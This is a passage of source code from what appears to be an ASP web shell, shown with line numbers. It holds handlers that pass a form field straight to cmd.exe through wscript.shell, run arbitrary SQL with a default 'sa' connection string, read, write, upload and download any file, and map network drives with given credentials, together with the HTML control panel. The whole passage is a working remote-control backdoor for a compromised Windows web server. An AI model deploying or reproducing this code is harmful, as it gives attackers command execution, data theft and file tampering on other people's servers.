1446 myInfo.add "errorDesc", Err.Description
1447 else
1448 set rS=adoCon.Execute(command, intAffected)
1449
1450 if Err.Number<>0 then
1451 myInfo.add "error", Err.Number
1452 myInfo.add "errorDesc", Err.Description
1453 else
1454 myInfo.add "error", 0
1455 myInfo.add "errorDesc", ""
1456 'myInfo.add "msgResponse", "SQL Command Execute Successful !"
1457 end if
1458
1459 if (rS.Fields.Count>0) then
1460 redim rHeader(rS.Fields.Count-1)
1461 for i=0 to rS.Fields.Count-1
1462 if (rS.Fields(i).Name="") then
1463 rHeader(i) = "(No column name)"
1464 else
1465 rHeader(i) = Server.HtmlEncode(rS.Fields(i).Name)
1466 end if
1467 next
1468 else
1469 rS = ""
1470 rHeader = ""
1471 end if
1472 end if
1473
1474
1475 with myInfo
1476 .add "action", "runSQL"
1477 .add "affected", intAffected
1478 .add "header", rHeader
1479 .add "data", rS
1480 end with
1481
1482 set rS=nothing
1483 set adoCon=nothing
1484
1485 ajaxRunSQL = js.toJSON("action", myInfo, true)
1486end function
1487
1488function ajaxRunCMD()
1489 on error resume next
1490 Dim myInfo, command, returnContent
1491
1492 command=request.form("command")
1493 returnContent = ""
1494
1495 set js = new JSON
1496 set myInfo = server.createObject("scripting.dictionary")
1497 returnContent = server.createobject("wscript.shell").exec("cmd.exe /c "&command).stdout.readall
1498 if Err.Number <> 0 then
1499 myInfo.add "error", Err.Number
1500 myInfo.add "errorDesc", Err.Description
1501 else
1502 myInfo.add "error", 0
1503 myInfo.add "errorDesc", ""
1504 end if
1505
1506 with myInfo
1507 .add "action", "runCMD"
1508 .add "returnContent", returnContent
1509 end with
1510
1511 ajaxRunCMD = js.toJSON("action", myInfo, true)
1512end function
1513
1514function ajaxLoadFile()
1515 on error resume next
1516 Dim myInfo, itemPath, itemContent, f, f1
1517
1518 itemPath=request.form("itemPath")
1519 itemContent = ""
1520
1521 set js = new JSON
1522 set myInfo = server.createObject("scripting.dictionary")
1523 set f = FSO.getFile(itemPath)
1524
1525 if (f.size > 0 and f.size < 512000) then
1526 set f1 = FSO.OpenTextFile(itemPath, 1)
1527 itemContent = f1.readAll
1528 end if
1529
1530 if Err.Number <> 0 then
1531 myInfo.add "error", Err.Number
1532 myInfo.add "errorDesc", Err.Description
1533 else
1534 myInfo.add "error", 0
1535 myInfo.add "errorDesc", ""
1536 end if
1537
1538 with myInfo
1539 .add "action", "loadFile"
1540 .add "itemPath", itemPath
1541 .add "itemSize", f.size
1542 .add "itemSizeText", FormatSize(f.size)
1543 .add "itemContent", itemContent
1544 end with
1545
1546 ajaxLoadFile = js.toJSON("action", myInfo, true)
1547end function
1548
1549
1550function ajaxSaveFile()
1551 on error resume next
1552 Dim myInfo, itemPath, itemContent, saveMode, f1, gMsg
1553
1554 itemPath=request.form("itemPath")
1555 itemContent = request.form("itemContent")
1556 saveMode = request.form("saveMode")
1557 gMsg = ""
1558
1559 if(saveMode <> 8) then
1560 saveMode = 2
1561 end if
1562
1563 set js = new JSON
1564 set myInfo = server.createObject("scripting.dictionary")
1565 set f1 = FSO.OpenTextFile(itemPath,saveMode,true,false)
1566
1567 f1.Write(itemContent)
1568 f1.close
1569
1570 if Err.Number<>0 then
1571 gMsg="Unable to write to the file """ & itemPath & """, an error occured..."
1572 else
1573 gMsg="File saved !"
1574 end if
1575
1576 if Err.Number <> 0 then
1577 myInfo.add "error", Err.Number
1578 myInfo.add "errorDesc", Err.Description & vbCrLF & gMsg
1579 else
1580 myInfo.add "error", 0
1581 myInfo.add "errorDesc", ""
1582 end if
1583
1584 with myInfo
1585 .add "action", "saveFile"
1586 .add "saveMode", saveMode
1587 .add "itemPath", itemPath
1588 end with
1589
1590 ajaxSaveFile = js.toJSON("action", myInfo, true)
1591end function
1592
1593function ajaxNewFile()
1594 on error resume next
1595 Dim myInfo, itemName, itemPath, gMsg, newItem, f1
1596
1597 itemName=request.form("itemName")
1598 itemPath=folderLocation & itemName
1599
1600 set js = new JSON
1601 set myInfo = server.createObject("scripting.dictionary")
1602
1603 if (FSO.FolderExists(itemPath)=false) and (FSO.FileExists(itemPath)=false) then
1604 FSO.CreateTextFile(itemPath)
1605 if Err.Number<>0 then
1606 gMsg="Unable to create the file """ & itemName & """, an error occured..."
1607 myInfo.add "error", Err.Number
1608 else
1609 gMsg="Created the file """ & itemName & """..."
1610 myInfo.add "error", 0
1611 end if
1612 else
1613 gMsg="Unable to create the file """ & itemName & """, there exists a file or a folder with the same name..."
1614 myInfo.add "error", 1
1615 end if
1616
1617 if Err.Number <> 0 then
1618 myInfo.add "errorDesc", Err.Description & vbCrLF & gMsg
1619 else
1620 myInfo.add "errorDesc", gMsg
1621 end if
1622
1623 Set f1 = FSO.GetFile(itemPath)
1624
1625 newItem = f1.name & "|" & FormatSize(f1.size) & "|" & f1.type & "|" & replace(f1.DateLastModified, "/", "-") & "|" & replace(f1.DateCreated, "/", "-")
1626
1627 with myInfo
1628 .add "action", "newFile"
1629 .add "itemName", itemName
1630 .add "msgResponse", gMsg
1631 .add "newItem", newItem
1632 end with
1633
1634 ajaxNewFile = js.toJSON("action", myInfo, true)
1635end function
1636
1637function ajaxNewFolder()
1638 on error resume next
1639 Dim myInfo, itemName, itemPath, gMsg, newItem, f1
1640
1641 itemName=request.form("itemName")
1642 itemPath=folderLocation & itemName
1643
1644 set js = new JSON
1645 set myInfo = server.createObject("scripting.dictionary")
1646 set newItem = server.createObject("scripting.dictionary")
1647
1648 if (FSO.FolderExists(itemPath)=false) and (FSO.FileExists(itemPath)=false) then
1649 FSO.CreateFolder(itemPath)
1650 if Err.Number<>0 then
1651 gMsg="Unable to create the folder """ & itemName & """, an error occured..."
1652 myInfo.add "error", Err.Number
1653 else
1654 gMsg="Created the folder """ & itemName & """..."
1655 myInfo.add "error", 0
1656 end if
1657 else
1658 gMsg="Unable to create the folder """ & itemName & """, there exists a file or a folder with the same name..."
1659 myInfo.add "error", 1
1660 end if
1661
1662 if Err.Number <> 0 then
1663 myInfo.add "errorDesc", Err.Description & vbCrLF & gMsg
1664 else
1665 myInfo.add "errorDesc", gMsg
1666 end if
1667
1668 Set f1 = FSO.GetFolder(itemPath)
1669
1670 newItem = f1.name & "|" & replace(f1.DateLastModified, "/", "-") & "|" & replace(f1.DateCreated, "/", "-")
1671
1672 with myInfo
1673 .add "action", "newFolder"
1674 .add "itemName", itemName
1675 .add "msgResponse", gMsg
1676 .add "newItem", newItem
1677 end with
1678
1679 ajaxNewFolder = js.toJSON("action", myInfo, true)
1680end function
1681
1682function filesfoldersList()
1683 on error resume next
1684 Dim f, fc, f1, counter, counterId, endId, myFolderList(), myFileList(), itemStart, itemEnd, myInfo, totalFiles, totalFolders, counterItems
1685
1686 set js = new JSON
1687 set myInfo = server.createObject("scripting.dictionary")
1688 Set f = FSO.GetFolder(folderLocation)
1689 call ErrHandle("lstResponse")
1690 itemStart=request.form("itemStart")
1691
1692 if(itemStart = "" or itemStart = "0") then
1693 itemStart = 1
1694 else
1695 itemStart = Cint(itemStart)
1696 end if
1697
1698 itemEnd = itemStart + 199
1699
1700 if(itemStart = 1) then
1701 Set fc = f.SubFolders
1702 counter = 1
1703
1704 Redim myFolderList(0)
1705 myFolderList(0) = "noxxxinfo"
1706
1707 For Each f1 In fc
1708 Redim preserve myFolderList(counter)
1709 myFolderList(counter) = f1.name & "|" & replace(f1.DateLastModified, "/", "-") & "|" & replace(f1.DateCreated, "/", "-")
1710 counter=counter+1
1711 Next
1712 Session("myFolderList") = myFolderList
1713
1714 Set fc = f.Files
1715 counter = 1
1716
1717 Redim myFileList(0)
1718 myFileList(0) = "noxxxinfo"
1719
1720 For Each f1 In fc
1721 Redim preserve myFileList(counter)
1722 myFileList(counter) = f1.name & "|" & FormatSize(f1.size) & "|" & f1.type & "|" & replace(f1.DateLastModified, "/", "-") & "|" & replace(f1.DateCreated, "/", "-")
1723 counter=counter+1
1724 Next
1725 Session("myFileList") = myFileList
1726 end if
1727
1728 totalFolders = UBound(Session("myFolderList"))
1729 totalFiles = UBound(Session("myFileList"))
1730
1731 call ErrHandle("lstResponse")
1732
1733 Redim myFolderList(0)
1734 myFolderList(0) = "noxxxinfo"
1735
1736 Redim myFileList(0)
1737 myFileList(0) = "noxxxinfo"
1738 counterItems = 0
1739
1740 if(itemStart <= totalFolders) then
1741 if(totalFolders <= itemEnd) then
1742 endId = totalFolders
1743 else
1744 endId = itemEnd
1745 end if
1746 counter = 0
1747 For counterId = itemStart to endId
1748 Redim preserve myFolderList(counter)
1749 myFolderList(counter) = Session("myFolderList")(counterId)
1750 counter=counter+1
1751 counterItems = counterItems + 1
1752 Next
1753 end if
1754
1755 if(itemStart + counterItems <= totalFolders + totalFiles) then
1756 if(totalFolders + totalFiles <= itemEnd) then
1757 endId = totalFiles
1758 else
1759 endId = itemEnd - totalFolders
1760 end if
1761 'Response.Write itemStart + counterItems - totalFolders & " - " & endId
1762 counter = 0
1763 For counterId = itemStart + counterItems - totalFolders to endId
1764 Redim preserve myFileList(counter)
1765 myFileList(counter) = Session("myFileList")(counterId)
1766 counter=counter+1
1767 counterItems = counterItems + 1
1768 Next
1769 end if
1770
1771 if(itemEnd >= totalFolders + totalFiles) then
1772 myInfo.add "finished", true
1773 else
1774 myInfo.add "finished", false
1775 end if
1776
1777 with myInfo
1778 .add "totalFolders", totalFolders
1779 .add "totalFiles", totalFiles
1780 .add "itemStart", itemStart
1781 end with
1782
1783 filesfoldersList = js.toJSON("status", myInfo, true) & "," & js.toJSON("folders", myFolderList, true) & "," & js.toJSON("files", myFileList, true)
1784end function
1785
1786SELECT CASE mode
1787CASE "explorer"
1788 ajaxExplorer()
1789 Response.end
1790
1791CASE "mapDriver"
1792 Response.Write "actionResponse = {"
1793 Response.Write ajaxMapDriver()
1794 Response.Write "};"
1795 Response.End
1796
1797CASE "removeDriver"
1798 Response.Write "actionResponse = {"
1799 Response.Write ajaxRemoveDriver()
1800 Response.Write "};"
1801 Response.End
1802
1803CASE "newFile"
1804 Response.Write "actionResponse = {"
1805 Response.Write ajaxNewFile()
1806 Response.Write "};"
1807 Response.End
1808
1809CASE "newFolder"
1810 Response.Write "actionResponse = {"
1811 Response.Write ajaxNewFolder()
1812 Response.Write "};"
1813 Response.End
1814
1815CASE "copy"
1816 Response.Write "actionResponse = {"
1817 Response.Write ajaxCopy()
1818 Response.Write "};"
1819 Response.End
1820
1821CASE "move"
1822 Response.Write "actionResponse = {"
1823 Response.Write ajaxMove()
1824 Response.Write "};"
1825 Response.End
1826
1827CASE "delete"
1828 Response.Write "actionResponse = {"
1829 Response.Write ajaxDelete()
1830 Response.Write "};"
1831 Response.End
1832
1833CASE "runSQL"
1834 Response.Write "actionResponse = {"
1835 Response.Write ajaxRunSQL()
1836 Response.Write "};"
1837 Response.End
1838
1839CASE "runCMD"
1840 Response.Write "actionResponse = {"
1841 Response.Write ajaxRunCMD()
1842 Response.Write "};"
1843 Response.End
1844
1845CASE "loadFile"
1846 Response.Write "actionResponse = {"
1847 Response.Write ajaxLoadFile()
1848 Response.Write "};"
1849 Response.End
1850
1851CASE "saveFile"
1852 Response.Write "actionResponse = {"
1853 Response.Write ajaxSaveFile()
1854 Response.Write "};"
1855 Response.End
1856
1857CASE "renameFile"
1858 Response.Write "actionResponse = {"
1859 Response.Write ajaxRenameFile()
1860 Response.Write "};"
1861 Response.End
1862
1863CASE "renameFolder"
1864 Response.Write "actionResponse = {"
1865 Response.Write ajaxRenameFolder()
1866 Response.Write "};"
1867 Response.End
1868
1869CASE "script"
1870 on error resume next
1871 Response.contenttype="application/x-javascript"
1872 Response.CacheControl = "Public"
1873 Response.Write Base64Decode(script)
1874 Response.end
1875
1876CASE "style"
1877 on error resume next
1878 Response.contenttype="text/css"
1879 Response.CacheControl = "Public"
1880 Response.Write Base64Decode(media_style)
1881 Response.end
1882
1883CASE "download"
1884 on error resume next
1885 Dim file
1886 Response.Buffer=True
1887 file = Request("file")
1888 DownloadFile folderLocation & file
1889 Response.end
1890
1891CASE "image"
1892 on error resume next
1893 Dim imgId
1894 Response.ContentType="image/gif"
1895 Response.CacheControl = "Public"
1896 imgId = Request("imgid")
1897 SELECT CASE imgId
1898 CASE "loading"
1899 Response.BinaryWrite Base64ToBSTR(img_loading)
1900 CASE "dir"
1901 Response.BinaryWrite Base64ToBSTR(img_dir)
1902 CASE "lvup"
1903 Response.BinaryWrite Base64ToBSTR(img_lvUp)
1904 CASE "txt"
1905 Response.BinaryWrite Base64ToBSTR(img_txt)
1906 CASE "img"
1907 Response.BinaryWrite Base64ToBSTR(img_img)
1908 CASE ELSE
1909 Response.BinaryWrite Base64ToBSTR(img_unknow)
1910 END SELECT
1911 Response.end
1912
1913CASE "view"
1914 on error resume next
1915 Dim extimg, Fil, imagePath
1916 Response.Buffer=True
1917 imagePath = Request("imagePath")
1918
1919 If(Ucase(FSO.GetExtensionName(imagePath)) = "JPG" or Ucase(FSO.GetExtensionName(imagePath)) = "JPEG" or Ucase(FSO.GetExtensionName(imagePath)) = "JPE") Then
1920 extimg = "image/jpeg"
1921 Elseif(Ucase(FSO.GetExtensionName(imagePath)) = "GIF") Then
1922 extimg = "image/gif"
1923 Elseif(Ucase(FSO.GetExtensionName(imagePath)) = "BMP") Then
1924 extimg = "image/bmp"
1925 Else
1926 extimg = "image/png"
1927 End if
1928 Set Fil = FSO.GetFile(imagePath)
1929 Response.ContentType=extimg
1930 Response.CacheControl = "Public"
1931 'Response.AddHeader "Content-Length", Fil.Size
1932 Response.BinaryWrite readBinaryFile(Fil.path)
1933 Set Fil = Nothing
1934 Response.end
1935END SELECT
1936
1937if(mode = "upload") then
1938
1939dim linkBack
1940
1941Response.Write "<html>"
1942Response.Write "<head>"
1943Response.Write "<title>" & aspTitle & "</title>"
1944Response.Write "<meta http-equiv=""Content-Type"" content=""text/html; charset=utf-8"">"
1945Response.Write "<META HTTP-EQUIV=""Pragma"" CONTENT=""no-cache"">"
1946Response.Write "<META HTTP-EQUIV=""Expires"" CONTENT=""-1"">"
1947
1948Response.Write "<link rel=""stylesheet"" href=""?mode=style"" type=""text/css"" />"
1949Response.Write "</head>"
1950Response.Write "<body>"
1951
1952Response.Write "<div align=""center"">"
1953Response.Write "<table cellpadding=""2"" cellspacing=""2"" width=""500"">"
1954Response.Write "<thead width=""100%"" align=""center"">"
1955Response.Write " <td class=""kbrtm"" align=""center"" colspan=""2""><b>File Upload</b></td>"
1956Response.Write "</thead>"
1957
1958linkBack = Upload(folderLocation)
1959
1960Response.Write "<TR><TD align='center' class=""kbrtm""><A href="""& linkBack &""">[Back]</A></TD></TR>"
1961Response.Write "</table>"
1962Response.Write "</div>"
1963
1964Response.Write "</body>"
1965Response.Write "</html>"
1966
1967Response.End
1968end if
1969
1970Dim drive_, driversText
1971 for each drive_ in FSO.Drives
1972 driversText = driversText & "<tr id=""driver" & drive_.DriveLetter & """><td class=""kbrtm"">"
1973 driversText = driversText & "<a href="""&FilePath&"#Explorer|"&drive_.DriveLetter&":\"">"
1974 if drive_.Drivetype=1 then driversText = driversText & " Floppy Drive"
1975 if drive_.Drivetype=2 then driversText = driversText & " Hard Disk"
1976 if drive_.Drivetype=3 then driversText = driversText & " Network Drive"
1977 if drive_.Drivetype=4 then driversText = driversText & " Cd-Rom"
1978 driversText = driversText & " [" & drive_.DriveLetter & ":]</a>"
1979 if drive_.Drivetype=3 then driversText = driversText & " <a href=""javascript:removeDriver('" & drive_.DriveLetter & "');"">[Remove]</a>"
1980 driversText = driversText & "</td></tr>"
1981 next
1982
1983Response.Write "<html>"
1984Response.Write "<head>"
1985Response.Write "<title>" & aspTitle & "</title>"
1986Response.Write "<meta http-equiv=""Content-Type"" content=""text/html; charset=utf-8"">"
1987Response.Write "<META HTTP-EQUIV=""Pragma"" CONTENT=""no-cache"">"
1988Response.Write "<META HTTP-EQUIV=""Expires"" CONTENT=""-1"">"
1989
1990Response.Write "<link rel=""stylesheet"" href=""?mode=style"" type=""text/css"" />"
1991Response.Write "<script src=""?mode=script"" type=""text/javascript""></script>"
1992Response.Write "<script type=""text/javascript"">"
1993Response.Write "ffList = {"
1994Response.Write ajaxInfo()
1995Response.Write "};"
1996Response.Write "</script>"
1997Response.Write "</head>"
1998Response.Write "<body onload=""startLoad()"">"
1999
2000Response.Write "<div id=""container"" align=""center"">"
2001
2002Response.Write "<div id=""tblHead"" align=""center""><P> </P>"
2003Response.Write "<form onSubmit=""window.location.href = '#Explorer|'+getId('remote').value.addSlash();return false;"" method=""post"">"
2004Response.Write "<table cellpadding=""0"" cellspacing=""0""><tr><td style=""background-color:121212"" class=""kbrtm""> <b>Location :</b> </td><td><input name=""remote"" id=""remote"" value='' type=""text"" style=""width:350px;""></td><td><input type=""Submit"" value=""Go »"" style=""width:50; font-weight:bold;""></td></tr></table>"
2005Response.Write "</form>"
2006Response.Write "<P> </P>"
2007Response.Write "</div>"
2008
2009Response.Write "<div id=""tblErr"" style=""display:none"" align=""center"">"
2010Response.Write "<table cellpadding=""2"" cellspacing=""2"" width=""500"">"
2011Response.Write "<thead width=""100%"" align=""center"">"
2012Response.Write " <td class=""kbrtm"" style=""background-color:121212"" align=""center"" colspan=""2""><b>Error !!!</b></td>"
2013Response.Write "</thead>"
2014Response.Write "<tbody bgcolor=""#3a3a3a"">"
2015Response.Write "<TR>"
2016Response.Write " <TD width=""20%"" class=""kbrtm"" id=""errCode""> </TD>"
2017Response.Write " <TD width=""80%"" class=""kbrtm""><font id=""errDesc"" color=""red""> </font></TD>"
2018Response.Write "</TR>"
2019Response.Write "</tbody>"
2020Response.Write "</table>"
2021Response.Write "<BR> </BR>"
2022Response.Write "</div>"
2023
2024
2025Response.Write "<div align=""center"">"
2026Response.Write "<font id=""ffNo"" style=""font-weight:bold;color:orange;display:none;"">Total : <span style=""color:red;"" id=""totalFolders"">0</span> folder(s) and <span style=""color:red;"" id=""totalFiles"">0</span> file(s)<BR><span style=""color:red;"" id=""folderNo"">0</span> folder(s) and <span style=""color:red;"" id=""fileNo"">0</span> file(s) listed ! <input type=""button"" id=""btLoadmore"" onClick=""loadMore();"" value=""[Load More]"" style=""display:none;font-weight:bold;""></font><BR> "
2027Response.Write "<table id=""tblContent"" cellpadding=""0px"" cellspacing=""1px"" width=""95%"" style=""border:1px solid #5d5d5d;min-width:1280;"">"
2028Response.Write "<thead width=""100%"" class=""tableHead"" align=""center"">"
2029Response.Write "<tr>"
2030Response.Write " <TD class=""fname""><b>Name</b></TD>"
2031Response.Write " <TD class=""fsize""><b>Size</b></TD>"
2032Response.Write " <TD class=""ftype""><b>Type</b></TD>"
2033Response.Write " <TD class=""fdate""><b>Date Last Modified</b></TD>"
2034Response.Write " <TD class=""fdate""><b>Date Created</b></TD>"
2035Response.Write " <TD class=""faction"" colspan=""3""><b>Action</b></TD>"
2036Response.Write "</tr>"
2037Response.Write "</thead>"
2038Response.Write "<tbody id=""tblList"" bgcolor=""#3a3a3a"">"
2039Response.Write "</tbody>"
2040Response.Write "<tbody id=""tblCommand"" width=""100%"">"
2041Response.Write "<tr>"
2042Response.Write " <TD> </TD>"
2043Response.Write " <TD></TD>"
2044Response.Write " <TD></TD>"
2045Response.Write " <TD></TD>"
2046Response.Write " <TD></TD>"
2047Response.Write " <TD align=""center""><input type='checkbox' title='Select All' class='xcheck' name='checkboxAll' onClick='checkAll(this);' value='all'></TD>"
2048Response.Write " <TD align=""center""><input type=""button"" onClick=""Delete();"" value=""Delete »"" style=""font-weight:bold;""></TD>"
2049Response.Write " <TD></TD>"
2050Response.Write "</tr>"
2051Response.Write "</tbody>"
2052Response.Write "<tbody width=""100%"">"
2053Response.Write "<tr>"
2054Response.Write " <TD><input type=""button"" onClick=""newFolder();"" value=""New Folder »"" style=""font-weight:bold;""> <input type=""button"" onClick=""newFile();"" value=""New File »"" style=""font-weight:bold;""> <input type=""button"" onClick=""window.location.href='#Upload|'+ffList.info.path.addSlash();"" value=""Upload »"" style=""font-weight:bold;""></TD>"
2055Response.Write "<form onSubmit=""CopyMove('copy', getId('remoteCopy').value);return false;"">"
2056Response.Write " <TD align=""right"" colspan=""2"">Copy selected item(s) to :</TD>"
2057Response.Write " <TD colspan=""2""><input name=""remoteCopy"" id=""remoteCopy"" value='' type=""text"" style=""width:250px;""><input type=""submit"" value=""Go »"" style=""width:50; font-weight:bold;""></TD>"
2058Response.Write "</form>"
2059Response.Write " <TD colspan=""3""></TD>"
2060Response.Write "</tr>"
2061Response.Write "</tbody>"
2062Response.Write "<tbody width=""100%"">"
2063Response.Write "<tr>"
2064Response.Write " <TD> </TD>"
2065Response.Write "<form onSubmit=""CopyMove('move', getId('remoteMove').value);return false;"">"
2066Response.Write " <TD align=""right"" colspan=""2"">Move selected item(s) to :</TD>"
2067Response.Write " <TD colspan=""2""><input name=""remoteMove"" id=""remoteMove"" value='' type=""text"" style=""width:250px;""><input type=""submit"" value=""Go »"" style=""width:50; font-weight:bold;""></TD>"
2068Response.Write "</form>"
2069Response.Write " <TD colspan=""3""></TD>"
2070Response.Write "</tr>"
2071Response.Write "</tbody>"
2072Response.Write "</table>"
2073Response.Write "</div>"
2074
2075
2076Response.Write "<div align=""center"">"
2077Response.Write "<table id=""tblPicture"" style=""display:none"" align=""center"" width=""95%""><TR><TD align='center' class=""kbrtm""><A href=""javascript:showMode('Explorer', true);"">[Back to Browser]</A></TD></TR><tr><td align='center' class=""kbrtm""><img id=""imgPicture"" src=""" & FilePath & "?mode=image&imgId=loading""></td></tr></table>"
2078Response.Write "<BR> </BR>"
2079Response.Write "</div>"
2080
2081Response.Write "<div id=""tblFileEdit"" style=""display:none"" align=""center"">"
2082Response.Write "<form method=""post"" onSubmit=""saveFile();return false;"">"
2083Response.Write "<table class=""kbrtm"">"
2084Response.Write "<TR><TD align='center'><A href=""javascript:showMode('Explorer', true);"">[Back to Browser]</A></TD></TR>"
2085Response.Write "<tr>"
2086Response.Write "<td align=""center"">"
2087Response.Write "<b>Edit file : <font color=orange id=""lblFile"">"&folderLocation&"</font></b><br>"
2088Response.Write "<textarea name=""txtContent"" id=""txtContent"" style='width:800;height:600;'>"
2089Response.Write ""
2090Response.Write "</textarea>"
2091Response.Write "<br><br><input type=submit value="":: Save ::""><br></td></tr><tr><td align=""center"">"
2092Response.Write "</td></tr></table></form>"
2093Response.Write "</div>"
2094
2095
2096Response.Write "<div id=""tblUpload"" style=""display:none"" align=""center"">"
2097Response.Write "<table width=""600"">"
2098Response.Write "<TR><TD align='center' class=""kbrtm""><A href=""javascript:showMode('Explorer', true);"">[Back to Browser]</A></TD></TR>"
2099Response.Write "<tr><td class=""kbrtm"" align=""center"">Location : <b><font color=orange id=""uploadLocation""></font></b></td></tr>"
2100Response.Write "<tr><td align=""center"" class=""kbrtm"">"
2101Response.Write "<form name=""frmUpload"" method=""post"" enctype=""multipart/form-data"" action=""" & FilePath & "?mode=upload"" ID=""frmUpload"">"
2102Response.Write "<input type=hidden name=""linkBack"" id=""linkBack"" value=""#"">"
2103Response.Write "<input type=hidden name=""location"" value="""" ID=""txtuploadLocation"">"
2104Response.Write "Max: <input type=""text"" name=""max"" value=""1"" size=""2"" ID=""idMax""> <input type=""button"" value=""Set"" onclick=""setid();"">"
2105Response.Write "<table>"
2106Response.Write "<tr>"
2107Response.Write "<td id=""upid"">"
2108Response.Write "</td>"
2109Response.Write "</tr>"
2110Response.Write "</table>"
2111Response.Write "<input type=submit value="":: Upload ::"">"
2112Response.Write "</form>"
2113Response.Write "<script>"
2114Response.Write "setid();"
2115Response.Write "function setid() {"
2116Response.Write " str='';"
2117Response.Write " if (getId('frmUpload').max.value<=0) getId('frmUpload').max.value=1;"
2118Response.Write " if (getId('frmUpload').max.value > 10) getId('frmUpload').max.value=10;"
2119Response.Write " for (i=1; i<=getId('frmUpload').max.value; i++) str+='File '+i+': <input size=30 type=file name=file'+i+'><br>';"
2120Response.Write " getId('upid').innerHTML=str+'<br>';"
2121Response.Write "}"
2122Response.Write "</script>"
2123Response.Write "</td></tr></table>"
2124Response.Write "</div>"
2125
2126Response.Write "<div id=""tblCmd"" style=""display:none"" align=""center"">"
2127Response.Write "<form onSubmit=""runCMD();return false;"" method=""post"">"
2128Response.Write "<table class=""kbrtm"">"
2129Response.Write "<TR><TD align='center'><A href=""javascript:showMode('Explorer', true);"">[Back to Browser]</A></TD></TR>"
2130Response.Write "<TR><TD align='center'><b>Command : </b><input style='color=#DAFDD0' name=""vcommand"" id=""vcommand"" size='57' value='ipconfig /all' type='text'><input value="".: Run :."" type='submit'></TD></TR>"
2131Response.Write "<tr>"
2132Response.Write "<td align=""center"">"
2133Response.Write "<textarea name=""txtCmdResult"" id=""txtCmdResult"" style='width:650;height:400;'>"
2134Response.Write "</textarea>"
2135Response.Write "</td></tr></table></form>"
2136Response.Write "</div>"
2137
2138Response.Write "<div id=""tblSql"" style=""display:none"" align=""center"">"
2139Response.Write "<form onSubmit=""runSQL();return false;"" method=""post"">"
2140Response.Write "<table class=""kbrtm"">"
2141Response.Write "<TR><TD align='center' colspan='4' class=""kbrtm""><A href=""javascript:showMode('Explorer', true);"">[Back to Browser]</A></TD></TR>"
2142Response.Write "<TR>"
2143Response.Write "<TD><b>Connection String : </b></TD><TD colspan='3'><input style='color=#DAFDD0' name=""sqlconnection"" id=""sqlconnection"" size='121' value='Provider=SQLOLEDB;Data Source=127.0.0.1;database=master;uid=sa;pwd=;' type='text'></TD>"
2144Response.Write "</TR>"
2145Response.Write "<TR>"
2146Response.Write "<TD valign='top'><b>SQL Command : </b></TD><TD valign='top'><input type=""button"" id=""commandChange"" onClick=""sqlCommandChange();"" value="" <-> ""></TD>"
2147Response.Write "<TD><input style='color=#DAFDD0' name=""sqlcommand"" id=""sqlcommand"" size='100' value='SELECT TOP 1000 * FROM information_schema.tables' type='text'><textarea name=""txtsqlcommand"" id=""txtsqlcommand"" style='display:none;width:620px;height:150px;'>SELECT TOP 1000 * FROM information_schema.tables</textarea></TD>"
2148Response.Write "<TD valign='top'><input type=""submit"" value="":: Run ::""></TD></TR>"
2149Response.Write "<TR>"
2150Response.Write "<TD colspan='4' align=""center""><b><font color=orange id=""affected"">0</font> row(s) <span id=""lstAff"">listed</span> !</b></TD>"
2151Response.Write "</TR>"
2152Response.Write "</table>"
2153Response.Write "</form>"
2154Response.Write "<P> </P>"
2155
2156Response.Write "<table class=""kbrtm"" id=""sqlContent"" width=""95%"">"
2157Response.Write "</table>"
2158
2159Response.Write "</div>"
2160
2161
2162Response.Write "<div align=""center"">"
2163Response.Write "<table id=""tblDrivers"" cellpadding=""0"" cellspacing=""0"" width=""200""><TBODY>"
2164Response.Write "<tr><td class=""kbrtm"" style=""background-color:121212"" align=""center""><b>Drivers</b></td></tr>"
2165Response.Write driversText
2166Response.Write "<tr id=""addMapNetwork""><td class=""kbrtm"" align=""center""><a href=""javascript:showMapNetwork();"">[ + ]</a></td></tr>"
2167Response.Write "</TBODY></table>"
2168Response.Write "</div>"
2169
2170Response.Write "<P> </P>"
2171Response.Write "</div>"
2172
2173Response.Write "<div id=""tblMenu"" align=""center""><BR> "
2174Response.Write "<table cellpadding=""0"" cellspacing=""0"" height=""25""><tr><td class=""kbrtm1""> <a href=""javascript:showMode('Explorer', true);""><b>* Home *</B> </a> | <a href=""#SQL""><b>* SQL *</b></a> | <a href='#CMD'><b>* CMD *</b></a> </td></tr></table><br>"
2175Response.Write "</div>"
2176
2177Response.Write "<div id=""tblMapDriver"" align=""center"">"
2178Response.Write "<form onSubmit=""mapDriver();return false;"" method=""post"">"
2179Response.Write "<table class=""kbrtm"">"
2180Response.Write "<TR><TD align='center' colspan=""2""><A href=""javascript:hideMapNetwork();"">[Back to Browser]</A></TD></TR>"
2181Response.Write "<TR><TD align='center'>Driver Letter : </TD><TD><input style='color=#DAFDD0' id=""driverLetter"" size='2' value='X' type='text'></TD></TR>"
2182Response.Write "<TR><TD align='center'>Remote Share : </TD><TD><input style='color=#DAFDD0' id=""remoteShare"" size='40' value='\\Server\Share' type='text'></TD></TR>"
2183Response.Write "<TR><TD align='center'>Username :</TD><TD><input style='color=#DAFDD0' id=""userName"" size='40' value='WORKGROUP\Administrator' type='text'></TD></TR>"
2184Response.Write "<TR><TD align='center'>Password : </TD><TD><input style='color=#DAFDD0' id=""password"" size='40' value='1234567890' type='text'></TD></TR>"
2185Response.Write "<tr><td align=""center"" colspan=""2""><input value="".: Map :."" type='submit'></td></tr>"
2186Response.Write "</table></form>"
2187Response.Write "</div>"
2188
2189Response.Write "<div id=""overlay"">"
2190Response.Write "</div>"
2191
2192Response.Write "<div id=""tblLoading"" align=""center"">"
2193Response.Write "<table width=""200"" height=""100"" style=""background:#303030;border-left:1px solid #5d5d5d; border-right:1px solid #121212; border-bottom:1px solid #121212; border-top:1px solid #5d5d5d;"" cellpadding=""0"" cellspacing=""0"" border=""0""><tr><td align=""center"" valign=""middle""><img src=""?mode=image&imgId=loading""></td></tr></table>"
2194Response.Write "</div>"
2195
2196Response.Write "</body>"
2197Response.Write "</html>"
2198%>